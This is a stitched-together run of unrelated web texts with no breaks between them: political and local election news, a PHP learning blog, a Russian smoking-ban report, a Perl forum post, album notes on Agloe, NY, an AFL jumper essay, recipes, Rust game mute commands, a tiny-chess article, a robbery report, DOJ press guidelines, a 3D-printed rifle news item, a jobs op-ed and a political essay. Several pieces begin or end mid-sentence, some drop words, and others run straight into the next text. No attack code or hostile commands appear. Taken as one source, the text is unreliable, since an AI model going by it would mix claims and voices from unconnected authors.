But no super PAC has nearly the resources of Right to Rise, which Bush helped stake to an early fundraising lead before officially declaring his candidacy. The group has committed to spending at least $37 million on TV ads through February as voters in the early states of Iowa, New Hampshire, South Carolina and Nevada.
Bush has fallen in recent public-opinion surveys as Rubio has begun to rise — a surprising turn for the former governor and his team, which hadn't expected to be polling in single digits both nationally and in some of the early states at this stage.
As Bush’s polls fell, his criticisms of rivals increased. In late August, Right to Rise first directed a portion of its fire at Donald Trump by hiring a biplane that dragged a “Trump 4 higher taxes. Jeb 4 Prez" sign as it flew around a Mobile, Alabama stadium where the frontrunner spoke.
All of Right to Rise’s ads are positive at the moment, dedicated to telling what Bush’s supporters call “the Florida story” of his years as a conservative governor of Florida from 1999-2007. Recently, as his poll numbers have declined, he has begun describing Rubio, a state House member while Bush was governor, as someone who “followed” his lead.
One Republican consultant, who is not connected with Bush or Rubio and who worked for a super PAC, couldn’t recall using trackers to spy on a fellow Republican and gather video footage.
“I guess the Rubio-Bush wars have really escalated,” the Republican said, chiding Bush for suggesting he’d try to run an uplifting, positive campaign. “I thought this was supposed to be joyful?”
CORRECTION: The original version of this article referred to Bush and Rubio being neighbors in Coral Gables and South Miami. Rubio lives in West Miami.Learning is Hard
I started my career as a web designer. Soon enough, I learned front-end development skills. Starting with simple HTML and CSS, I built myself into a front-end developer by trade. I spent the next five years plying that trade, using my design acumen to create fun and useful interfaces.
During that time, I always wanted to learn how to make things “work.” I wanted to know what was behind all the interfaces I’d built over the years. I wanted to understand how things operated behind-the-scenes. I wanted to learn PHP.
Last year, I was assigned “Project X” as a full-stack developer. It was my first project I lead, and my first foray into backend web development. I had a great team around me, and some great mentors, so I felt optimistic, but the sheer amount of “firsts” involved made me nervous.
An Embarrassing Story
We’re friends, right? Phew, just checking. This is terribly embarrassing, but it proves how little I knew about PHP when I started “Project X.”
Before I landed my current job, I was interviewing at an E-commerce shop. It was going well. They were super nice, interested in me, and I felt comfortable. Then, the interviewer asked, “Ok, Glen, if you don’t get this, I’ll just ask you to leave right away [friendly laughter]. How do you instantiate a class?”
I couldn’t answer the question. Luckily, they were nice and didn’t actually ask me to leave on the spot.
I just sat there, half-horrified. As embarrassing as that was, I didn’t feel bad. I didn’t claim to be a back-end developer. I knew Wordpress. Wordpress doesn’t teach you the basics of PHP if all you’re doing is theming.
Everyone starts somewhere, right?Russia is considering major steps to make sure its citizens do not become smokers.
The Russian Health Ministry this week proposed a ban on selling cigarettes to people born after 2014, Radio Free Europe/Radio Liberty reports, even after they are 18, which is currently the legal smoking age in the country. That means a full prohibition of cigarettes would not go into effect until 2033.
The proposal is part of a document that details government efforts to curtail smoking in the country. Russia has already banned smoking in restaurants since 2013.
Some experts warn that the ban could give rise to a black market for illegal cigarettes. But the Health Ministry defended its proposal, citing the 300,000 to 400,000 Russian citizens who die from smoking-related diseases each year.
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“By 2033, the ban on the sale of tobacco products to people born after 2014 will not seem an extreme measure, but an entirely logical development of events,” Marina Gambaryan, an expert at the Health Ministry, told TASS.
Contact us at editors@time.com.On Monday Lady_Aleena posted her first ever module for D&D fans. Today in the CB, herveus told us about his module Weaving::Tablet which generates patterns for a weaving machine. I thought that was pretty cool, so I tried look up other hobbyist related modules on CPAN. I didn't have much luck with crossstitch, needlepoint, knitting or even pattern. The last however just had too many hits to go through. purl pulled up a few hits, but they weren't exactly games.
I had a bit more luck with baseball, football (N.B. that was by a soccer fan, not an American football fan), soccer, tennis and basketball. I even found hits for blackjack.
music also turned up a lot of interesting modules (+300!). In addition to reams of modules for various music file formats, there were modules to retrieve Yahoo music ratings, compose music using gestalts, fetch lyrics, and track distribution history.
Under games I found several modules for fans of cards, chess, checkers, bingo, various adventure games, SuperMario(TM), and of course, modules that implement the traditional on-line games from my computer "childhood" - worms, hunt the wumpus, and rogue.
I have a feeling there are lots more out there.
So what hobbiest modules do you know about? What is your favorite? Have you written one? Did you publish it? Why or why not?
Best, bethAgloe is a census-designated town in upstate New York. It’s just up the road from Roscoe. You’ll see signs for it on the highway, but you can't really visit it. That’s because only kind of exists.
Agloe is an example of a copyright trap-- a fake location invented by a map company to snare copycat mapmakers. If an enemy company were to plagiarize a map and copy an illegitimate city, the original company has a near certainty in winning ensuing legal cases. Every map has several of these: from small “trap streets” in large towns to nonexistent geological features. (Google Earth has gone as far as to create an entire fake chain of islands in the South Pacific.)
In 1937, the General Drafting Company created a rote copyright trap, the town of Agloe, New York. The trap worked like a charm— in 1962, Rand McNally proudly included Agloe on their American Road Atlas. However, our story takes an awfully strange turn here, for Rand McNally had an awfully good defense: the town of Agloe appeared on state census data.
After a bit of research, General Drafting found that in the early 1950s, a solo driver made his way through the town of Agloe, visible on his backseat atlas. Finding nothing but seemingly unclaimed land, he built a general store. Within a month, a family moved in just down the road. Over the next half a century, Agloe would continue to grow, eventually to include a gas station, a church, a park, a fishing lodge, a municipal building, and several houses. People were moving into a town that didn’t technically exist.
I first read this story in early 2014 prompted by its sudden (and awkward) removal from the Google Maps database. Today, if you take a drive up to Agloe, you’ll find a bunch of abandoned buildings, overgrown foundations, and a complete absence of people. A town that never existed came into being, and vanished just short of seventy years later. Nobody’s exactly sure why.
Told through composition, field recordings, animation, and historic audio samples, “The Curious Appearance of Agloe, NY” is a project about the oddities of copyright law. It’s a short meditation on hometown identity, kitsch Americana, and the bizarrely political implications of cartography. We sincerely hope you have as much fun listening to this project as we had making it.
released July 22, 2015All songs composed by Kirk Pearson, except “Ode to the American Village” by Hayden Arp and Kirk Pearson, “Americana Falls” by Julian Korzeniowsky, “The Ballad of Agloe, NY” by Alex Sturbaum, and all quotes, samples, and other derivative works outlined at the end of the credits.All songs produced and engineered by Kirk Pearson, except “Ode to the American Village” by Hayden Arp and Kirk Pearson.Album art by Zach Christy. Web assistance by Ilona Brand.*Kirk Pearson* (Composition, Mandolin, Strings, Electronics, Field Recordings) is an electroacoustic composer and researcher. His compositions have appeared on NPR, the BBC, TEDx, and PBS. He presently studies composition and film at Oberlin College. This is his fourth record as director of the collaborative digital ensemble BIT.*Zach Christy* (Album Art) likes to make things. A lot of those things are motion graphics and video projects. But others aren't. You can see some of those projects at zachchristy.com. This is his first record with BIT.______________________________________________________BIT is an ever-changing digital artistic collaborative, built by over seventy musicians, producers, programmers, and visual artists in ten countries. The first time many of the collaborators ever meet is on record.In order of appearance:*Nick |
the car on the right?Quite clearly, they’re different colours, yet we use the same word to describe them. One of the quirks of critical thinking means we can, if we think about it, be more specific to avoid confusion and ambiguity. Which is exactly what we need to do when discussing clash jumpers and their purpose in the AFL.The fundamental purpose of clash jumpers, as it stands, is to. I propose that this definition is flawed. The difference between “clash reduction” and “contrast maximisation” is pivotal and something we need to address with our use of terminology.I’ve created a spectrum below. Clash and contrast are basically opposites.As you can see, it travels from clash (red) to contrast (green). You can place any jumper matchup on this spectrum somewhere.For example, when Port played Richmond earlier in the year, there is a very big contrast between the teams and the teams are clearly distinguishable.I would place it on the very far right side of the spectrum, like this.On the other hand, in 2013 we experienced a huge clash in jumpers when Port played Carlton in their heritage strip. A huge oversight by those in charge.I’d place this matchup on the very left side of the spectrum, like this.Lastly, just the other week, Essendon played West Coast. While the teams are distinguishable in a still picture, on a video it is much harder.I can agree that there is no clash, but, importantly and just as equally, there is no contrast.So why am I pointing this out? Because what I’ve observed recently is that people are using the same words to mean different things. Just like we do when we say ‘a blue car’. There is a need to be specific to avoid confusion and ambiguity.People will say “Essendon clash with Collingwood” and there are rightfully told they are wrong, because theyclash. But what they should say is “Essendonwith Collingwood”, which is entirely correct, and can form the basis of a terminologically correct argument in support of clash jumpers.With this in mind, we can also state that the use of the term ‘clash jumper’ is biased. Using the example above, the implication is that we don’t need jumpers to contrast, we simply need them toI stated earlier that I believe the purpose of clash jumpers should be to maximise contrast rather than reduce clash, and, personally, I think the term ‘contrast jumper’ would be much more appropriate for my arguments.So, in conclusion, we need to recognize that our use of the word ‘clash’ implies there is no need for a contrast, and, thus, our argument can fall short. The merit of whether we need totally contrasting jumper matchups is another topic, however. But one thing is certain - no matter which side of the fence we are on, we need to get our terminology straight.Best Super Bowl recipes- from snacks to desserts!
Looking for the perfect Game Day food? I’ve got the Best Super Bowl Recipes – Top 10 snacks and desserts!
Click HERE to save to pinterest
Having a crowd for Super Bowl Sunday? Or just need some great game day food?
From snacks to desserts I’ve got you covered with The Best Super Bowl recipes on my website!
Best Super Bowl Recipes From Snacks to Desserts Cookies and Cream Cheese Ball Touchdown! This Oreo Cookies and Cream Cheese Ball is worth all the points on game day! Get the Recipe BLT Dip You can never go wrong with Bacon, this BLT Dip will score mega points on game day! Get the Recipe Chocolate Oatmeal Cream Pie Footballs Who doesn't love Oatmeal Cream Pie...footballs!? Get the Recipe Buffalo Chicken Dip Dig in to the delicious Buffalo Chicken Dip Get the Recipe Pepperoni Pizza Hand Pies Score big with these Pepperoni Pizza Hand Pies Get the Recipe Italian Beef Ring You Game Day eats just got tastier with this Italian Beef Ring with au jus! Get the Recipe Pepperoni Pizza Dip Everyone loves pizza for game day...try this Pepperoni Pizza Dip for a twist! Get the Recipe Pumpkin Football Blondies Pumpkin. Chocolate. And football. I promise it goes together beautifully! Get the Recipe Frosted Chocolate Nut Cookie Bars I'll take a dozen of these footballs for my game day party! Get the Recipe Buffalo Chicken Ring Tailgating just got a little more delicious with this Buffalo Chicken Ring recipe! Get the Recipe From Snacks to Desserts I created a fun little group on facebook and I’d love for you to join in! It’s a place where you can share YOUR favorite recipes, ask questions, and see what’s new with Shugary Sweets (so that you never miss a new recipe)! If you’d like to check it out, you can request to join HERE.
Be sure to follow me on Instagram and tag #shugarysweets so I can see all the wonderful SHUGARY SWEETS recipes YOU make!
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**There may be affiliate links in this post! By clicking on them, or purchasing recommended items I may receive a small compensation. However, I only recommend products I love! Thank you for supporting Shugary Sweets! See my disclosure policy for more info**RUST mute command, voice and text chat
The RUST mute command allows server admins and moderators to permanently mute players from using either or both, global server chat and voice chat. There are two specific commands for muting. One command is for text chat and the other command for voice chat communications. Each also has the ability to be reversed, so mute’s can be used temporarily or permanently.
The ability for admins to mute players was introduced back in Devblog 78 (September 17, 2015) and has since changed syntax.
A few practical reasons for using the RUST mute command:
Muting offensive players that cannot keep the text chat clean.
Preventing players from spamming the chat systems and causing unnecessary server lag.
Using mute as an intermediary punishment for players that aren’t worth kicking or banning.
Stopping players disrupting the general peace of a server with communication channels.
Trying to unmute a RUST player? There’s a few commands for that!
Who can enter the RUST mute command
The RUST mute command can be issued on vanilla RUST servers by RUST admins and moderators only. Players on vanilla RUST servers cannot use the mute command or any of the server’s mute commands. Players that want to mute another player have few options. The text chat can be disabled and hidden entirely, but voice chat will remain on. Either turn off the in-game sound, make a request to administrators/moderators, or simply put a bullet in the head of the offending player.
This last method is usually pretty effective.
How to use the RUST mute command
Before initiating a mute command, ensure the following:
Make sure you have entered the player’s name correctly.
The player(s) you wish to mute MUST be online, otherwise it will not take effect.
, otherwise it will not take effect. If no player name is entered, the command will auto-select the player with the longest session on the server, without telling you of course.
Muting the chat for players will not be broadcast to the server, regardless if it’s a voice or text chat mute.
When a player is voice muted, the talking icon that appears on screen will no long appear for them.
When a player is text chat muted, the text they enter will not show up in the global chat.
All of the RUST mute commands can be issued from RCON platforms and the in-game console. Press the F1 key to open the in-game console and type in the specific mute command syntax listed below, then press enter.
RUST mutechat command (1 of 4)
The mutechat command is used to mute a specific player’s text chat.
Note that this command does work from RCON platforms and doesn’t require being logged into the game server.
mutechat “player_name”
On success the console will display:
N/A
On success the server chat will display:
N/A
On failure the console chat will display:
Player not found
RUST unmutechat command (2 of 4)
The unmutechat command is used to undo the mute of a specific player’s text chat.
Note that this command does work from RCON platforms and doesn’t require being logged into the game server.
unmutechat “player_name”
On success the console will display:
N/A
On success the server chat will display:
N/A
On failure the console chat will display:
Player not found
RUST mutevoice command (3 of 4)
The mutevoice command is used to mute a specific player’s voice chat.
Use the command below:
mutevoice “player_name”
On success of this command the console will display:
N/A
On success the server chat will display:
N/A
On failure the console chat will display:
Player not found
RUST unmutevoice command (4 of 4)
The unmutevoice command is used to mute a specific player’s voice chat.
Use the command below:
unmutevoice “player_name”
On success of this command being entered, the console will display:
N/A
On success the server chat will display:
N/A
On failure the console chat will display:
Player not foundCOLORADO SPRINGS — On Wednesday afternoon, Richard Skorman was wearing a black apron while at work in Poor Richards, the restaurant he owns downtown. He also owns the adjacent cafe, bookstore and toy store — a string of storefronts that has been for decades a gathering place for progressive causes in this traditionally conservative city.
Tuesday night, Skorman won an election to the nine-member city council along with three other candidates that could tip the balance of power here in a more moderate-to-progressive direction.
Skorman will join re-elected incumbent Jill Gaebler on council with Yolanda L. Avila and David Geislinger, who also won Tuesday, handily beating a slate of candidates backed by special interests and developers. Together with current councilman Bill Murray they could form a five-member majority voting coalition on issues.
What that could look like in practice for the Springs is anything from more investment in trails and open spaces to allowing the sale of recreational marijuana— which is currently prohibited in Colorado’s second largest city— to the shuttering of a downtown power plant within the next decade.
“What if we could create an arts district down there?” Skorman said of the Martin Drake coal plant, which looms over the heart of downtown and has been the source of much recent controversy and lawsuits. His comment gives a hint at just how transformative the election might have been.
For Trig Bundgaard, a homelessness advocate who directs the Coalition for Compassion and Action and watchdogs city council, the results made clear that this city, with a checkered reputation in the shadow of Pikes Peak, wants a change from the status quo.
“The council is now a majority of people who appear sympathetic to the homelessness crisis,” he said, adding how he believes the five who could form a majority also understand how affordable housing fits in.
But while Councilman Murray, who has been in office for two years, acknowledges “the moderates won,” he cautions that there’s no guarantee they’ll always work together.
“We’ve got personalities and we’ve got egos,” he said. The class has been elected. Now let’s see if they can govern. “This could be the best council that it’s ever been,” he says. “We’re on the cusp of some real opportunities.”
Plenty of observers see Tuesday night’s results as a stinging rebuke to a dark money campaign and negative attacks against Skorman and another candidate, Gaebler— a smear job that ratcheted negativity up to a level unusual for the city’s elections. Gaebler filed a criminal complaint against her opponent for spreading falsehoods about her in campaign literature. (The DA declined to file charges.)
Also during the election, a group called Together for Colorado Springs formed with a goal to get more progressive and moderate candidates elected to offices in the area. More than 500 people attended the group’s launch in early February, where speakers lamented the reputation the city has for right-wing causes like the anti-gay Amendment 2 and being the birthplace of the Taxpayer’s Bill of Rights. The group also did candidate training, research and polling in some districts, and sent mailers on behalf of two candidates who won.
Related: Hundreds in Colorado Springs packed the launch party of a new progressive-moderate group
Meanwhile, the daily newspaper’s editorial page coverage of the election, which also unleashed harsh attacks on Skorman and Gaebler, became the subject of a protest from Together for Colorado Springs outside The Gazette newsroom last month.
National politics might also have played a role.
Following the election of President Donald Trump— El Paso County went for him 56 percent to 34 percent over Hillary Clinton— the Springs saw more than 7,000 flood a downtown park for a women’s march that organizers called the largest demonstration in the city’s history.
While voter turnout was not high— around 30 percent— the city council election was the first ballot voters here have seen since Trump became president.
“People want to get involved and they are frustrated with national politics, but they can get involved locally,” Skorman says. “And I think you’re going to see this across the country. Colorado Springs is one example, but people aren’t going to let these local elections slide like they have in the past.”
The Gazette’s news coverage of the election was robust, and the paper in late March asked if dark money and “sharp elbows” would be the new normal in the city’s local elections. The Colorado Springs Independent alt-weekly endorsed all six winners in the election and frequently covered the dark money influence and negative campaign tactics throughout.
“They, I think, rebelled against it,” Skorman said of voters. “I think there was a bit of a reaction, basically a backlash. It may relate some to what’s happened nationally and I think people didn’t expect it in a local election.”
The municipal election also featured something else atypical for the Springs: A slate of candidates backed by special interest groups and developers that benefitted from attack ads aimed at their opponents.
“For the first time really, which was unusual, all this dark money came in on behalf of a ticket that was in a position to take over city council or gain the majority,” said Colorado College professor emeritus Bob Loevy, a political scientist who closely followed the election and once ran for council himself. “Because of all the dark money you just didn’t know who they were or what they were really about.”
But the slate lost.
“I think what it said was, ‘This is our community … and we don’t want to be told what to do, we don’t want to be told who to vote for, and most of all we don’t want people who are bought by special interests,’” said Mary Lou Makepeace, who was mayor from 1997 to 2003 and lost a comeback run in 2015 to John Suthers, the state’s former Republican attorney general.
Makepeace called the election “a citizen uprising almost.”
Back at a table in Poor Richards a day after he won, Skorman, who previously served on city council from 1999 to 2006 and lost a bid for mayor in 2011, said he hoped the election results might change some perceptions of the city in other parts of the state.
“Colorado Springs has really grown, and I think it’s grown a lot in ways that aren’t what people think about us traditionally,” he said. “We have a lot more young people here, there’s a lot more people that are moderate-thinking. I wouldn’t say that we’ve become Boulder. We have a ways to go. But it’s definitely a lot more balanced, and this election really proved it.”
CORRECTION: A previous version of this story misstated the year of a mayoral election.
Photo by Corey HutchinsIn a day and age when major game releases can clog up 65 gigabytes of hard drive space or more, it's nice to know that classic game design doesn't require nearly so much storage space. Case in point: BootChess, a playable computer version of the classic board game that fits in a single 487-byte file.
This impressive feat of assembly coding comes courtesy of a coder named Baudsurfer, who posted his tiny effort online earlier this week in formats playable on Windows, Linux, OS X, DOS, and BSD. When we say "playable," we mean that in the most technical sense. Special rules like castling and en passant are missing, pawns can only be promoted to queens, and the game doesn't seem to mind if a king is placed into check by a move, for instance.
The built-in AI is also about as awful as you'd expect from such a tiny binary footprint, sacrificing pieces and position with very little rhyme or reason in our tests. The computer opponent always starts with a "hardcoded Spanish white piece opening," according to the annotated source code included in the ZIP file. The AI can't even use a basic Minimax strategy due to size constraints.
These are just nitpicks when you consider the achievement of getting chess into such a tiny file size, though. The basics of piece movement and capture are all there in a 9 x 10 character text display, controlled by typing piece positions in through the keyboard. The included text file explaining how it all works (which is more than 114 times the game file itself) serves as a crash course in the "sizetro" demoscene, which uses assembly language trickery to get maximum performance from programs of minimal size.
The previous record for tiny chess programs was a 672-byte chess conversion for the old ZX Spectrum, created by programmer David Horne and shared through a two-page spread in a 1983 edition of Your Computer magazine. Some have called that program the greatest ever written for its sheer compact elegance, but 32-year-old records were meant to be broken.
Outside of the world record, though, the tiny chess program scene is surprisingly robust. Toledo Nanonchess 3 writes the game into under 1,300 characters of C code, and there's a 1KB Javascript implementation available for play in a browser, to name just a few examples.
In any case, we've now entered a brave new world at the lower edge of functional chess program size. Just think: now a Blu-ray disc can hold over 110 million copies of BootChess, rather than just under 80 million copies of that chunky old ZX Spectrum chess program. What a time to be alive.A failed pizza robbery resulted in an arrest early Saturday morning just after the bars closed on East Sixth Street, according to an Austin Police Department arrest affidavit.
Rueben Gonzales III, 34, was arrested and charged with aggravated robbery.
A man approached the officers patrolling near East Sixth and Trinity streets at 2:29 a.m. and told them, "Help me… this man pulled a knife on us and tried to take our pizza," the arrest affidavit stated.
The victim told officers that he and three friends were standing outside of Roppolo’s Pizzeria on East Sixth Street having just ordered their pizza when they were approached by Gonzales, who was belligerently drunk, according to the affidavit.
The victim said Gonzales demanded they sell him a slice of pizza for a dollar. The group refused, noting they paid $30 for the pizza, at which point Gonzales pulled out a pocket knife, opened it up and said "give me your [expletive] pizza," according to the victim’s statement in the arrest affidavit.
After the victim told his friends to get police, the affidavit said, Gonzales walked away.
Police found Gonzales at the scene, and while frisking him they recovered a knife with a 3-inch serrated blade, which Gonzales said was his "work knife," according to the affidavit. Police said the victim accurately described the knife in Gonzales’ possession.
Gonzales is being held in Travis County jail on $20,000 bond.WASHINGTON, DC - JUNE 25: U.S. Attorney General Eric Holder makes a statement on the U.S. Supreme Court's ruling on the Voting Rights Act at the Justice Department on June 25, 2013 in Washington, DC. The high court ruled that Section 4 of the Voting Rights Act, which aimed at protecting minority voters, is unconstitutional (Photo by Mark Wilson/Getty Images)
WASHINGTON -- The Justice Department will be restricted from labeling a journalist as a criminal co-conspirator in seeking a search warrant to gain access to reporting materials under new media guidelines issued on Friday.
“The Department of Justice is firmly committed to ensuring our nation’s security, and protecting the American people, while at the same time safeguarding the freedom of the press," Attorney General Eric Holder said in a statement. "These revised guidelines will help ensure the proper balance is struck when pursuing investigations into unauthorized disclosures."
Holder also indicated the administration's ongoing support for media shield legislation, saying there were "additional protections that only Congress can provide." Holder said he looked forward to "working with leaders from both parties to achieve this goal, and am grateful to all of the journalists, free speech advocates, experts, and Administration leaders who have come together in recent weeks -- in good faith, and with mutual respect -- to guide and inform the changes we announce today.”
The updated guidelines, expected to take effect almost immediately, are the result of a review undertaken by Holder at the direction of President Barack Obama.
The Justice Department came under fire in mid-May for secretly obtaining the emails of Fox News reporter James Rosen in 2009. Prosecutors implied they were investigating Rosen, allowing federal authorities to obtain his emails without his knowledge. Holder signed off on treating Rosen as a co-conspirator in the case, but he later expressed regret for that action.
The Associated Press revealed in May that the DOJ had obtained phone records for 20 lines used by editors and reporters there, during an investigation that followed a 2012 story describing a CIA-thwarted terrorist plot in Yemen. That action was authorized by Deputy Attorney General James Cole.
Investigators did not notify the AP to request the phone records before obtaining them, a break with protocol in dealings between the government and the press. Gary Pruitt, chief executive of the AP, called the sweeping seizure “unconstitutional.”
Under the new policy, news organizations will be given advance notice when investigators seek access to news-gathering materials, except in situations where the attorney general determines that "for compelling reasons, advance notice and negotiations would pose a clear and substantial threat to the integrity of the investigation, risk grave harm to national security, or present an imminent risk of death or serious bodily harm."
That determination will be made after consulting members of a newly created News Media Review Committee, which will include senior DOJ officials who are not directly involved in the investigations and who have relevant expertise and experience in media matters.
The DOJ’s tactics in dealing with the AP and Fox News journalists drew criticism from members of the media and free-speech advocates, some of whom viewed the measures as essentially criminalizing journalism. The revelations, and ensuing coverage, shed more light on the Obama administration’s aggressive and unprecedented use of the Espionage Act in prosecuting current and former government officials for leaking to journalists.
In a May speech amid the media firestorm, President Obama said he was “troubled by the possibility that leak investigations may chill the investigative journalism that holds government accountable” and announced plans for Holder to gather news organizations and present a review of the guidelines on July 12.
The Holder-media meetings were not without their own controversy, as several news organizations, including the AP, The New York Times, The Huffington Post, CNN and Fox News declined invitations because of the DOJ’s wish to hold the meetings off the record. Several outlets, including The Washington Post, Politico and ABC News, accepted the ground rules, which were later loosened to allow participants to broadly discuss what had transpired.
Obama and Holder met Friday in the Oval Office and the president accepted the guidelines, White House Press Secretary Jay Carney told reporters in his regular briefing.
After the report's release, White House spokesman Matt Lehrich said the president "appreciates the Justice Department’s work to revise their guidelines, and he believes this report is an important step towards finding the balance between dealing with dangerous leaks of classified national security information and protecting the rights of journalists to freely gather and report the news."
"He also continues to believe that Congress should quickly pass media shield legislation and looks forward to working with them to do so," Lehrich added.Hobbyists have used 3D printers to make guitars, copy house keys, and bring robot dinosaurs to life, but a firearms enthusiast who goes by the handle "Have Blue" has taken this emerging technology into a new realm by assembling a working rifle from 3D-printed parts.
Specifically, ExtremeTech reports, Have Blue used 3D CAD files to print the lower receiver part of an AR-15 class assault rifle – the style of gun the US military has called an M16. The lower receiver is sometimes referred to as the "body" of the weapon, which houses the trigger assembly, the magazine, and the safety selector.
The lower receiver of a factory-produced AR-15 is usually made of metal, typically stamped aluminum. Have Blue made his out of the standard ABS plastic used by low-end 3D printers. He then combined it with off-the-shelf, metal AR-15 parts to complete the weapon.
The next step was to actually fire it. Have Blue started by chambering the gun for.22 caliber pistol rounds, a relatively low-powered ammunition. After firing 200 rounds, he announced to an online AR-15 forum that it "runs great!"
He then re-assembled the weapon to use.223 caliber rifle ammunition and tried again. "No, it did not blow up into a bazillion tiny plastic shards and maim me for life," he said, but the combination of the homemade and off-the-shelf parts wasn't working all that well, causing the gun to jam. Try, try again.
It's 3D-printed plastic, but it works, and it has no license or serial number. (Source: Haveblue.org)
Where this all gets interesting is in the potential legal ramifications of what Have Blue has done. It is legal in most US states to purchase AR-15 style rifles, provided the purchaser is licensed, which involves a background check.
It is difficult to get around the license requirements by purchasing the gun in pieces and assembling it yourself, because at least one piece – the lower receiver – carries a serial number and must always be purchased from a federally licensed arms dealer.
Without the lower receiver, the gun can't fire, so under US law the lower receiver essentially is the gun. The other components are less closely regulated and can be purchased online or from unlicensed dealers.
But Have Blue didn't buy his lower receiver from anyone. He made it himself. Using his method, potentially anyone could assemble a completed rifle from mail-order parts without any government licensing or registration at all.
It may not look like much, but the gun won't fire without it. (Source: Thingiverse.com)
It's not entirely as simple as that, though. First, although Have Blue says he used between $30 and $50 worth of plastic to print the gun, 3D printers that can output items the size of the AR-15 lower receiver are still expensive. But their cost is declining.
Second, a 3D printer cannot print ammunition. But given that accused Aurora, Colorado shooter James Holmes was found to have stockpiled some 6,000 rounds of ammo that he purchased online, the prospect of individuals being able to assemble working, unlicensed weapons using 3D printing technology should give regulators in the US and abroad some pause. ®The percentage of companies that report difficulty finding qualified workers is back to levels last hit before the Great Recession, and many have responded with plans to increase wages and signing bonuses — “possible harbingers of stronger wage gains to come,” according to Ms. Yellen. The latest jobs report confirmed her optimism, with hourly wages rising 2.9 percent from last year, the fastest rate yet recorded in this recovery.
The dire view taken by economic populists and writers denouncing the rise of the robots is no longer the view of most American households. The share of workers who are in part-time jobs has actually been falling since 2010, and the number of reluctant part-time workers — those who would prefer full-time work — has fallen to five million from around nine million. The number of discouraged workers — people who have given up looking — has fallen back to levels last seen before the 2008 recession.
At the same time, the share of households who say “jobs are plentiful” is at the highest level in nearly two decades. A new Pew Research survey shows that most Americans do not think automation threatens their own jobs. And over the past 20 years, at least some of the industries that have created the most jobs are also quite well paid, including professional services, management consulting and computer systems design.
United States consumer confidence, which often reflects trends in the job market, is at a peak surpassed only a few times since the early 1960s.
There are still reasonable questions about whether many jobs of the future will be well paid. But there is no evidence so far to support forecasts of a nearly jobless future. If robots threatened human labor, human joblessness would be growing. But it’s not. In fact, since 2008, job growth has been strongest in countries like Germany and Japan, which deploy the most robots.
The pain being felt right now is a symptom of rapid churn, as old industries retreat and new ones emerge. It is no accident that dystopian visions of a jobless future are often reported from Rust Belt cities or rural towns, where manufacturing is indeed dying and good jobs are far from plentiful. But at least some of the workers laid off by shuttered Main Street stores have been hired by Amazon warehouses, which can pay higher wages — all because they work with robots that make them much more productive.
Today, many politicians and editorial writers frame every policy proposal, from cutting taxes to raising trade barriers, in terms of the number of jobs it will create. But they should recognize that while the world faces many problems, from rising inequality to angry economic populism, job creation is not one of them.A specter haunts the world, and that specter is America. This is not the America discoverable in the pages of a world atlas, but a mythical America that is the target of the new form of anti-Americanism that Salman Rushdie, writing in the Guardian (February 6, 2002), says “is presently taking the world by storm” and that forms the subject of a Washington Post essay by Martin Kettle significantly entitled “U.S. Bashing: It’s All The Rage In Europe” (January 7, 2002). It is an America that Anatol Lieven assures us, in a recent article in the London Review of Books, is nothing less than “a menace to itself and to mankind” and that Noam Chomsky has repeatedly characterized as the world’s major terrorist state.
But above all it is the America that is responsible for the evils of the rest of the world. As Dario Fo, the winner of the 1997 Nobel Prize for literature, put it in a notorious post-September 11 email subsequently quoted in the New York Times (September 22, 2001): “The great speculators [of American capitalism] wallow in an economy that every years kills tens of millions of people with poverty [in the Third World] — so what is 20,000 dead in New York? Regardless of who carried out the massacre [of 9-11], this violence is the legitimate daughter of the culture of violence, hunger and inhumane exploitation.”
It is this sort of America that is at the hub of Antonio Negri and Michael Hardt’s revision of Marxism in their intellectually influential book Empire (Harvard University Press, 2000) — a reinterpretation of historical materialism in which the global capitalist system will be overthrown not by those who have helped to create it, namely, the working class, but rather by a polyglot global social force vaguely referred to as “the multitude” — the alleged victims of this system.
America-bashing is anti-Americanism at its most radical and totalizing. Its goal is not to advise, but to condemn; not to fix, but to destroy. It repudiates every thought of reform in any normal sense; it sees no difference between American liberals and American conservatives; it views every American action, both present and past, as an act of deliberate oppression and systemic exploitation. It is not that America went wrong here or there; it is that it is wrong root and branch. The conviction at the heart of those who engage in it is really quite simple: that America is an unmitigated evil, an irredeemable enormity.
This is the specter that is haunting the world today. Indeed, one may even go so far as to argue that this America is the fundamental organizing principle of the left as it exists today: To be against America is to be on the right side of history; to be for it is to be on the wrong side.
But let’s pause to ask a question whose answer the America-bashers appear to assume they know: What is the right side of history at this point in history?
The concept of a right side of history is derived from Marxism, and it is founded on the belief that there is a forward advance toward a socialist future that can be resisted, but not ultimately defeated. But does anyone believe this anymore? Does anyone take seriously the claim that the present state of affairs will be set aside and a wholly new order of things implemented in its place, and that such a transformation of the world will happen as a matter of course?
And, finally, if in fact there are those who believe such a thing, what is the status of this belief? Is it a realistic assessment of the objective conditions of the present world order, or is it merely wishful thinking?
Marx’s political realism
The importance of these questions should be obvious to anyone familiar with the thought of Marx. Marx’s uniqueness as a thinker of the left is his absolute commitment to the principles of political realism. This is the view that any political energy that is put into what is clearly a hopeless cause is a waste. Utopianism is not only impractical; it is an obstacle to obtaining socialism’s true objective, since it diverts badly needed resources away from the pursuit of viable goals, wasting them instead on the pursuit of political fantasies.
The concept of fantasy as a political category assumed its central place in Marxist thought in The Communist Manifesto, where Karl Marx and Friedrich Engels used it as the distinguishing mark of their own brand of socialism: It was this that condemned all previous forms of socialism to the realm of vague dreams and good intentions, and which gave Marxism the claim to be a “scientific” form of socialism.
Marx’s use of the term “scientific” in this text has often been criticized. But, in his defense, it should be remembered that the German Wissenschaft describes a far wider category than the English “science.” It means what we know as opposed to what we merely opine, or feel, or imagine; the objective as opposed to the subjective; realistic thinking as opposed to impractical daydreaming. And it is in this last sense that Marx and Engels use it: For the opposite of the scientific is none other than the utopian.
This is the basis of Marx’s condemnation of all forms of utopian socialism, the essence of which is the enormous gap between the “fantastic pictures of future society” the utopian socialist dreams of achieving, on one hand, and any realistic assessment of the objective conditions of the actual social order on the other.
This concept of fantasy as “fantastic pictures” inside the head of impractical daydreamers is a classic theme of German Romantic literature and is perhaps most closely identified with the characters of E.T.A. Hoffman’s stories, such as Kapellmeister Kreisler. The fantasist, in this literature, is a character type: He lives in his own dream world and can manage only the most tenuous relationship to the real world around him. But, unlike the character type of the absent-minded professor, the Romantic fantasist is not content to putter around in his own world. Instead, he is forever insisting that his world is the real one, and in the process of doing this, he reduces the real world around him, and the people in it, to an elaborate stage setting for the enactment of his own private fantasies.
